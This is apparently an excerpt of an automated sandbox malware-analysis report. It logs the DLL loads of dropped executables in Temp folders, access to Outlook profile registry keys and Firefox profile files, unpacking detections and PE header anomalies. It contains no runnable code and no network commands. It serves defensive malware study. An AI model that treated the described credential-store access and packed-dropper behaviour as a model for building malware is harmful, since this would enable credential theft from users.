Source: C:\Users\userAKKKFBGDHJ.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\userAKKKFBGDHJ.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\userAKKKFBGDHJ.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\userAKKKFBGDHJ.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\userAKKKFBGDHJ.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\userAKKKFBGDHJ.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\userAKKKFBGDHJ.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\userAKKKFBGDHJ.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\userAKKKFBGDHJ.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\userAKKKFBGDHJ.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\userAKKKFBGDHJ.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\userAKKKFBGDHJ.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\userAKKKFBGDHJ.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\userAKKKFBGDHJ.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\userAKKKFBGDHJ.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\userAKKKFBGDHJ.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\userAKKKFBGDHJ.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\userAKKKFBGDHJ.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\userAKKKFBGDHJ.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\userAKKKFBGDHJ.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\userAKKKFBGDHJ.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\624f4d727e.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\624f4d727e.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\624f4d727e.exe	Section loaded: msimg32.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\624f4d727e.exe	Section loaded: msvcr100.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\624f4d727e.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\624f4d727e.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\624f4d727e.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\624f4d727e.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\624f4d727e.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\624f4d727e.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\624f4d727e.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\624f4d727e.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\624f4d727e.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\624f4d727e.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\624f4d727e.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\624f4d727e.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\624f4d727e.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\624f4d727e.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\624f4d727e.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\624f4d727e.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\624f4d727e.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\bdb44f72d9.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\bdb44f72d9.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\bdb44f72d9.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\bdb44f72d9.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\bdb44f72d9.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\bdb44f72d9.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\bdb44f72d9.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\bdb44f72d9.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\bdb44f72d9.exe	Section loaded: shfolder.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\bdb44f72d9.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\bdb44f72d9.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\bdb44f72d9.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\bdb44f72d9.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\bdb44f72d9.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\bdb44f72d9.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\bdb44f72d9.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\bdb44f72d9.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\bdb44f72d9.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\bdb44f72d9.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\bdb44f72d9.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\bdb44f72d9.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\bdb44f72d9.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\bdb44f72d9.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\bdb44f72d9.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\bdb44f72d9.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\bdb44f72d9.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\bdb44f72d9.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\bdb44f72d9.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\bdb44f72d9.exe	Section loaded: pcacli.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\bdb44f72d9.exe	Section loaded: sfc_os.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\bdb44f72d9.exe	Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\bdb44f72d9.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\bdb44f72d9.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\bdb44f72d9.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\bdb44f72d9.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\624f4d727e.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\624f4d727e.exe	Section loaded: msimg32.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\624f4d727e.exe	Section loaded: msvcr100.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\624f4d727e.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\624f4d727e.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\624f4d727e.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\624f4d727e.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\624f4d727e.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\624f4d727e.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\624f4d727e.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\624f4d727e.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\624f4d727e.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\624f4d727e.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\624f4d727e.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\624f4d727e.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\624f4d727e.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\624f4d727e.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\624f4d727e.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\624f4d727e.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\624f4d727e.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\bdb44f72d9.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\bdb44f72d9.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\bdb44f72d9.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\bdb44f72d9.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\bdb44f72d9.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\bdb44f72d9.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\bdb44f72d9.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\bdb44f72d9.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\bdb44f72d9.exe	Section loaded: shfolder.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\bdb44f72d9.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\bdb44f72d9.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\bdb44f72d9.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\bdb44f72d9.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\bdb44f72d9.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\bdb44f72d9.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\bdb44f72d9.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\bdb44f72d9.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\bdb44f72d9.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\bdb44f72d9.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\bdb44f72d9.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\bdb44f72d9.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\bdb44f72d9.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\bdb44f72d9.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\bdb44f72d9.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\bdb44f72d9.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\bdb44f72d9.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\bdb44f72d9.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\bdb44f72d9.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\bdb44f72d9.exe	Section loaded: pcacli.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\bdb44f72d9.exe	Section loaded: sfc_os.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\624f4d727e.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\624f4d727e.exe	Section loaded: msimg32.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\624f4d727e.exe	Section loaded: msvcr100.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\624f4d727e.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\624f4d727e.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\624f4d727e.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\624f4d727e.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\624f4d727e.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\624f4d727e.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\624f4d727e.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\624f4d727e.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\624f4d727e.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\624f4d727e.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\624f4d727e.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\624f4d727e.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\624f4d727e.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\624f4d727e.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\624f4d727e.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\624f4d727e.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\624f4d727e.exe	Section loaded: netutils.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: C:\Program Files\Mozilla Firefox\firefox.exe

File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\compatibility.ini

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: file.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2401826383.000000006C61D000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2402076310.000000006C7DF000.00000002.00000001.01000000.00000007.sdmp
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2402076310.000000006C7DF000.00000002.00000001.01000000.00000007.sdmp
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2401826383.000000006C61D000.00000002.00000001.01000000.00000008.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.lowo:R;.nade:W;.rsrc:R; vs .text:EW;.rdata:R;.data:W;.reloc:R;
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	Unpacked PE file: 5.2.RoamingCFCGIIEHIE.exe.360000.0.unpack :EW;.rsrc:W;.idata :W; :EW;cwtgiuyn:EW;mrbyzpwc:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;cwtgiuyn:EW;mrbyzpwc:EW;.taggant:EW;
Source: C:\Users\userAKKKFBGDHJ.exe	Unpacked PE file: 8.2.userAKKKFBGDHJ.exe.40000.0.unpack :EW;.rsrc:W;.idata :W; :EW;pcxsfzhs:EW;plzfkdac:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;pcxsfzhs:EW;plzfkdac:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Unpacked PE file: 9.2.explorti.exe.3a0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;cwtgiuyn:EW;mrbyzpwc:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;cwtgiuyn:EW;mrbyzpwc:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Unpacked PE file: 10.2.explorti.exe.3a0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;cwtgiuyn:EW;mrbyzpwc:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;cwtgiuyn:EW;mrbyzpwc:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Unpacked PE file: 16.2.axplong.exe.7f0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;pcxsfzhs:EW;plzfkdac:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;pcxsfzhs:EW;plzfkdac:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Unpacked PE file: 18.2.axplong.exe.7f0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;pcxsfzhs:EW;plzfkdac:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;pcxsfzhs:EW;plzfkdac:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Unpacked PE file: 19.2.explorti.exe.3a0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;cwtgiuyn:EW;mrbyzpwc:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;cwtgiuyn:EW;mrbyzpwc:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1000016001\624f4d727e.exe	Unpacked PE file: 20.2.624f4d727e.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.lowo:R;.nade:W;.rsrc:R; vs .text:EW;.rdata:R;.data:W;.reloc:R;
Source: C:\Users\user\AppData\Local\Temp\1000017001\bdb44f72d9.exe	Unpacked PE file: 23.2.bdb44f72d9.exe.2b0000.0.unpack Unknown_Section0:EW;Unknown_Section1:EW;Unknown_Section2:EW;Unknown_Section3:EW;Unknown_Section4:EW;.rsrc:R;Unknown_Section6:EW;.data:EW; vs Unknown_Section0:ER;Unknown_Section1:R;Unknown_Section2:W;Unknown_Section3:R;Unknown_Section4:R;.rsrc:R;Unknown_Section6:EW;.data:EW;
Source: C:\Users\user\AppData\Local\Temp\1000016001\624f4d727e.exe	Unpacked PE file: 24.2.624f4d727e.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.lowo:R;.nade:W;.rsrc:R; vs .text:EW;.rdata:R;.data:W;.reloc:R;
Source: C:\Users\user\AppData\Local\Temp\1000017001\bdb44f72d9.exe	Unpacked PE file: 27.2.bdb44f72d9.exe.2b0000.0.unpack Unknown_Section0:EW;Unknown_Section1:EW;Unknown_Section2:EW;Unknown_Section3:EW;Unknown_Section4:EW;.rsrc:R;Unknown_Section6:EW;.data:EW; vs Unknown_Section0:ER;Unknown_Section1:R;Unknown_Section2:W;Unknown_Section3:R;Unknown_Section4:R;.rsrc:R;Unknown_Section6:EW;.data:EW;
Source: C:\Users\user\AppData\Local\Temp\1000016001\624f4d727e.exe	Unpacked PE file: 34.2.624f4d727e.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.lowo:R;.nade:W;.rsrc:R; vs .text:EW;.rdata:R;.data:W;.reloc:R;

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\Temp\1000016001\624f4d727e.exe	Unpacked PE file: 20.2.624f4d727e.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\Temp\1000016001\624f4d727e.exe	Unpacked PE file: 24.2.624f4d727e.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\Temp\1000016001\624f4d727e.exe	Unpacked PE file: 34.2.624f4d727e.exe.400000.0.unpack

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_004195E0 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_004195E0

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: explorti.exe.5.dr	Static PE information: real checksum: 0x1cd2f9 should be: 0x1cfa89
